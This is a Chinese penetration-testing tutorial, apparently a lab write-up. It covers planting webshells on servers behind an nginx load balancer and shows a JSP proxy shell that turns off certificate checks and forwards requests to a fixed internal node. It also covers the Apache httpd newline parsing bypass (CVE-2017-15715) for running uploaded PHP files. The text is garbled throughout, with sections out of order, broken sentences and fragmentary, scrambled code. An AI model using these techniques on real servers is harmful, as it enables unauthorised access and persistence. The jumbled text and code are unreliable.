器去执行难点三当我们需要上传一些工具时麻烦来了难点四由于目标机器不能出外网3、环境搭建解决方法1、关机或者停服2、执行前先判断IP要不要执行3、在Web

层做一次

流量转发二、apache换行解析漏洞一、负载均衡反向代理下的webshell上传

1、nginx负载均衡

名称策略轮询默认按请求顺序逐一分配weight根据权重分配ip_hash根据客户端IP分配least_conn根据连接数分配fair

(第三方)根据响应时间分配

难点一需要在每一台节点的相同位置上传相同内容的webshell

WebShell一旦有一台机器上没有那么在请求轮到这台机器上的时候就会出现

404

我们在执行命令时无法知道下次的请求交给哪台机器去执行。

我们执行

hostname

时可以看到一直在飘因为我们用的是轮询的方式还算能确定一旦涉及了权重等其它指标就让你好好体验一波什么叫飘乎不定。

antSword

上传文件时采用的分片上传方式把一个文件分成了多次HTTP请求发送给了目标所以尴尬的事情来了两台节点上各一半而且这一半到底是怎么组合的取决于

LBS

环境搭建下载地址https://github.com/AntSwordProject/AntSword-Labs

/home/ztx/AntSword-Labs-master/loadbalance/loadbalance-jsp/docker-compose

docker

首先在测试阶段我们可以关闭一台服务器只保留一台机器因为健康检查机制的存在很快其它的节点就会被

nginx

again.fi如果这里你的tomcat外网不能访问记得去Linux主机上的8080端口开放因为如果你要测试的话需要安装vim和net-tools这样一来确实是能够保证执行的命令是在我们想要的机器上了效果如图

3、在Web

这里一定要保证每一台node上都要有相同的文件千万别用上传上传会将文件分片

Shell

contentTypetext/html;charsetUTF-8

languagejava

importjava.io.ByteArrayOutputStream

page

importjava.net.HttpURLConnection

page

importjava.security.KeyManagementException

page

importjava.security.NoSuchAlgorithmException

page

importjava.security.cert.CertificateException

page

importjava.security.cert.X509Certificate

%!public

true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private

static

checkClientTrusted(X509Certificate[]

arg0,

checkServerTrusted(X509Certificate[]

arg0,

SSLContext.getInstance(TLS);sc.init(null,

trustAllCerts,

java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());}

catch

http://172.19.0.2:8080/ant.jsp;URL

url

(https.equalsIgnoreCase(url.getProtocol()))

{ignoreSsl();}HttpURLConnection

conn

(HttpURLConnection)url.openConnection();StringBuilder

new

StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream

baosnew

ByteArrayOutputStream();OutputStream

out2

conn.getOutputStream();DataInputStream

innew

DataInputStream(request.getInputStream());byte[]

buf

len);}baos.flush();baos.writeTo(out2);baos.close();InputStream

inputStream

conn.getInputStream();OutputStream

out3response.getOutputStream();int

len2

len2);}out3.flush();out3.close();

%二、apache换行解析漏洞

HTTPD是一款HTTP服务器它可以通过mod_php来运行PHP网页。

其2.4.0~2.4.29版本中存在一个解析漏洞在解析PHP时1.php\x0A将被按照PHP后缀进行解析导致绕过一些服务器的安全策略。

环境下载链接https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715

搭建完毕后Apache运行在http://your-ip:8080

漏洞复现

访问刚才上传的/1.php/x0a发现能够成功解析apache2.4会将他解析为php后缀但这个文件不是php后缀说明目标存在解析漏洞。